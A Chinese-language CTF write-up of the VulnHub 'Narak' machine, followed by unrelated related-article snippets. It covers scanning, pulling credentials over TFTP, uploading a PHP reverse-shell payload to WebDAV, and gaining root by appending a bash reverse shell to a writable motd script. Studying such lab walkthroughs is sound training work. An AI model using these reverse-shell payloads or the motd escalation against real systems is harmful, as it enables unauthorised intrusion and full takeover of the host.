VulnHub-Narak靶机笔记
Narak靶机笔记
概述
Narak是一台Vulnhub的靶机,其中有简单的tftp和webdav的利用,以及motd文件的一些知识
靶机地址: https://pan.baidu.com/s/1PbPrGJQHxsvGYrAN1k1New?pwd=a7kv
提取码: a7kv
当然你也可以去Vulnhub官网下载
一、nmap扫描
1)主机发现
sudo nmap -sn 192.168.84.0/24
Nmap scan report for 192.168.84.130
Host is up (0.00026s latency).
MAC Address: 00:0C:29:38:2B:28 (VMware)
看到192.168.84.130是靶机ip
2)端口扫描
a) TCP端口
sudo nmap -sT --min-rate 10000 -p- -o ports 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:38:2B:28 (VMware)# Nmap done at Fri Sep 20 11:59:44 2024 -- 1 IP address (1 host up) scanned in 1.91 seconds
b) UDP端口
sudo nmap -sU --top-ports 20 -o udp 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00066s latency).PORT STATE SERVICE
53/udp open|filtered domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp open|filtered route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:38:2B:28 (VMware)# Nmap done at Fri Sep 20 12:01:21 2024 -- 1 IP address (1 host up) scanned in 7.99 seconds
看到69号tftp可能是开放的,一会可以看看有没有什么可以传输的文件
3)详细信息扫描
sudo nmap -sT -sV -sC -O -p22,80 -o details 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00077s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71bd592d221eb36b4f06bf83e1cc9243 (RSA)
| 256 f8ec45847f2933b28dfc7d07289331b0 (ECDSA)
|_ 256 d09436960480331040683221cbae68f9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: NARAK
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:38:2B:28 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 20 12:00:51 2024 -- 1 IP address (1 host up) scanned in 8.02 seconds
二、web渗透
打开 80端口

没有什么有价值的信息,我们进行目录爆破
1)目录爆破
sudo gobuster dir -u http://192.168.84.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip,rar,txt,sql
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.84.130
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,sql,zip,rar
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 317] [--> http://192.168.84.130/images/]
/tips.txt (Status: 200) [Size: 58]
/webdav (Status: 401) [Size: 461]
/server-status (Status: 403) [Size: 279]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================
看到几个目录和文件被扫描了出来,我们全部打开看看

在tips.txt中,他说打开narak的提示可以在creds.txt中找到。但是我们现在并不知道creds.txt在哪里
接着看webdav

他需要认证,我们并没有有效地凭证信息
三、tftp渗透
在udp扫描中,我们看到了tftp端口可能是开放的,而我们在tips.txt文件中看到了一个存在creds.txt文件的信息
尝试一下
tftp 192.168.84.130

tftp是一种简单的文件传输协议,比较小巧,搭建也很方便。他不能列出系统文件,只能进行一些简单的文件操作
get creds.txt

cat creds.txt
eWFtZG9vdDpTd2FyZw==
看到是类似于base64加密,解秘看看
cat creds.txt | base64 -d
yamdoot:Swarg
发现了一组凭据yamdoot:Swarg
四、获得立足点
拿到凭据肯定要尝试ssh登陆

看到这并不是ssh的凭证,那会不会是webdav的呢?
尝试登陆webdav

成功登陆
用davtest测试以这个webdav服务
davtest -url http://192.168.84.130/webdav -auth yamdoot:Swarg
********************************************************Testing DAV connection
OPEN SUCCEED: http://192.168.84.130/webdav
********************************************************
NOTE Random string for this session: _8C8yvKn
********************************************************Creating directory
MKCOL SUCCEED: Created http://192.168.84.130/webdav/DavTestDir__8C8yvKn
********************************************************Checking for test file execution
EXEC txt SUCCEED: http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.txt
EXEC txt FAIL
EXEC jsp FAIL
EXEC html SUCCEED: http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.html
EXEC html FAIL
EXEC asp FAIL
EXEC jhtml FAIL
EXEC aspx FAIL
EXEC pl FAIL
EXEC cfm FAIL
EXEC cgi FAIL
EXEC shtml FAIL
EXEC php SUCCEED: http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.php
EXEC php FAIL
********************************************************
看到是可以解析php文件的,构造php_reverse.php
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.84.128/4444 0>&1'"); ?>
cadaver,这是webdav服务的客户端


看到上传成功
kali本地监听,并在浏览器访问php_rev.php

成功获得立足点
五、提权到root
通过查看可写文件,找到了一些令我们感兴趣的
find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' 2> /dev/null

看到sh文件和motd文件
motd(Message of the Day)文件用于在用户登录 Linux 系统时显示欢迎信息或通知。它通常用于向用户提供系统信息、公告、或其他登录时需要注意的事项。
cat hell.sh
#!/bin/bashecho"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
看到了一串beef字符串,复制到hell文件中,解密

看到了明文信息,去碰撞一下ssh

一共有三个用户,把用户放到users文件,chitragupt放到pass文件

用ssh登陆进去

直接去motd文件下吧

这里可以在00-header文件中添加我们的提权逻辑
echo -e "bash -c \"bash -i >& /dev/tcp/192.168.84.128/8888 0>&1\"" >> 00-header
在kali中监听8888端口,并重新ssh登陆inferno用户

看到#提示符,提权到了root权限
总结
- 通过nmap扫描,我们发现22,80的TCP端口是开放的,udp的69端口tftp服务可能是开启的
- 进行目录爆破发现目标机器有webdav服务,并且知道了目标有creds.txt文件。
- 利用tftp协议拿到了creds.txt,里面记录了webdav的凭证信息,成功登陆webdav
- 利用cadaver这个webdav客户端,上传php反弹shell,成功获得了立足点。
- 翻找系统可写文件,发现了一个sh和motd文件,查看sh文件猜测是一个用户的ssh凭证,用hydra成功爆破出ssh的凭证
- 用motd的00-hearder文件的逻辑完成了提权操作
相关文章:
VulnHub-Narak靶机笔记
Narak靶机笔记 概述 Narak是一台Vulnhub的靶机,其中有简单的tftp和webdav的利用,以及motd文件的一些知识 靶机地址: https://pan.baidu.com/s/1PbPrGJQHxsvGYrAN1k1New?pwda7kv 提取码: a7kv 当然你也可以去Vulnhub官网下载 一、nmap扫…...
查看和升级pytorch到指定版本
文章目录 查看和升级pytorch到指定版本查看pytorch的版本python 命令查看pytorch的版本使用pip 命令查看当前安装的PyTorch版本升级PyTorch到指定版本 升级到特定的版本 查看和升级pytorch到指定版本 查看pytorch的版本 python 命令查看pytorch的版本 通过Python的包管理工具…...
Maya---机械模型制作
材质效果(4)_哔哩哔哩_bilibili 三角面 四边面 多边面 *游戏允许出现三角面和四边面 游戏中一般是低模(几千个面) 动漫及影视是高模 机械由单独零件组合而成,需独立制作 低面模型到高面模型 卡线是为了将模型保…...
请不要在TS中使用Function类型
在 TypeScript 中,避免使用 Function 作为类型。Function 代表的是“任意类型的函数”,这会带来类型安全问题。对于绝大多数情况,你可能更希望明确地指定函数的参数和返回值类型。 如果你确实想表达一个可以接收任意数量参数并返回任意类型的…...
关于UVM仿真error数量达到指定值就退出仿真的设置
1. 问题描述 在某项目调试过程中,发现通过tc_base.sv中new函数里的set_report_max_quit_count()设置最大error数量不生效,uvm_error数量仍旧是达到10个(默认)就会退出仿真。 2. 设置uvm_error到达一定数量结束仿真的方式 由白皮…...
chatGPT问答知识合集【二】
Redis 架构说明 Redis 是一个开源的内存数据库,它也可以持久化到磁盘。以下是 Redis 的典型架构说明:### Redis 架构组件:1. **客户端**:与 Redis 服务器进行通信的应用程序或客户端库。2. **Redis 服务器**:执行实际…...
不靠学历,不拼年资,怎么才能月入2W?
之前统计局发布了《2023年城镇单位就业人员年平均工资情况》,2023年全国城镇非私营单位和私营单位就业人员年平均工资分别为120698元和68340元。也就是说在去年非私营单位就业人员平均月薪1W,而私营单位就业人员平均月薪只有5.7K左右。 图源:…...
【软考】多核CPU
目录 1. 说明 1. 说明 1.核心又称为内核,是 CPU 最重要的组成部分。2.CPU 中心那块隆起的芯片就是核心,是由单品硅以一定的生产工艺制造出来的,CPU 所有的计算、接收/存储命令、处理数据都由核心执行。3.各种 CPU 核心都具有固定的逻辑结构&…...
制作炫酷个人网页:用 HTML 和 CSS3 展现你的风格
你是否觉得自己的网站应该看起来更炫酷?今天我将教你如何使用 HTML 和 CSS3 制作一个拥有炫酷动画和现代设计风格的个人网页,让它在任何设备上看起来都无敌酷炫! 哈哈哈哈哈哈哈哈,我感觉自己有点中二哈哈哈哈~ 目录 炫酷设计理念构建 HTML …...
WinCC中归档数据片段的时间和尺寸设置
1.归档数据片段介绍工控人加入PLC工业自动化精英社群 1.1 概述 WinCC V6.2 开始的后台数据库采用了MS SQL Server 2005 ,所以归档方式与V5 有所不同,它的运行数据存放在数据片段(segment)当中,工程师可以…...
kubernetes网络(二)之bird实现节点间BGP互联的实验
摘要 上一篇文章中我们学习了calico的原理,kubernetes中的node节点,利用 calico 的 bird 程序相互学习路由,为了加深对 bird 程序的认识,本文我们将使用bird进行实验,实验中实现了BGP FULL MESH模式让宿主相互学习到对…...
动态语言? 静态语言? ------区别何在?java,js,c,c++,python分给是静态or动态语言?
JavaScript 被称为动态语言,而 Java 被称为静态语言 这主要与它们在类型系统、编译执行方式以及运行时行为等方面的不同特性有关。详细差异如下: JavaScript (动态语言) 动态类型: 在JavaScript中,变量的类型是在运行时确定的。这…...
计算机网络17——IM聊天系统——客户端核心处理类框架搭建
目的 拆开客户端和服务端,使用Qt实现客户端,VS实现服务端 Qt创建项目 Qt文件类型 .pro文件:配置文件,决定了哪些文件参与编译,怎样参与编译 .h .cpp .ui:画图文件 Qt编码方式 Qt使用utf-8作为编码方…...
C/C++面试题
关键字 1."#","##"的用法 #是字符串转换符,##是字符串连接符;发生在预处理阶段; 2.volatile的含义 防止编译器优化,告诉编译器每次都去真实地址中读取,而不是从寄存器或者缓存中&a…...
[3]Opengl ES着色器
术语: VertexShader:顶点着色器,用来描述图形图像位置的顶点坐标; FragmentShader:片元着色器,用来给顶点指定的区域进行着色; Vertex:顶点 Texture:纹理…...
Spring Boot 中实现任务后台处理的几种常见方式
博客主页: 南来_北往 系列专栏:Spring Boot实战 前言 在现代应用程序中,后台处理对于处理发送电子邮件、处理文件、生成报告等任务至关重要。 Spring Boot 提供了多种机制来高效地实现后台任务。本文探讨了在 Spring Boot 中处理后台处理的各…...
部署--UmiJS
默认方案 umi2 默认对新手友好,所以默认不做按需加载处理,umi build 后输出 index.html、umi.js 和 umi.css 三个文件。 不输出 html 文件 某些场景 html 文件交给后端输出,前端构建并不需要输出 html 文件,可配置环境变量 HTM…...
python自学笔记
python部分总结 主要记录的是python与之前学的语言的不同之处 函数总结 首字母大写: name.title() 删除右边空格(暂时):name.rstrip() 删除左边空格(暂时):name.lstrip() 删除前缀(暂时):name.removeprefi…...
Ubuntu磁盘不足扩容
1.问题 Ubuntu磁盘不足扩容 2.解决方法 安装一下 sudo apt-get install gpartedsudo gparted...
【ROS2】spin、spinOnce、spin_some、spin_until_future_complete
1、简述 spinOnce仅处理一个回调函数(ROS1); spin_some类似于ROS1的spinOnce,但处理多个任务,然后返回(ROS2); spin会持续处理回调函数直到无任务,然后阻塞(ROS1、ROS2); 注意: 只有消息推送(publisher)功能的程序,不需要使用spin_some(),因为它不执行任何回…...
Vim 调用外部命令学习笔记
Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...
(二)原型模式
原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...
如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
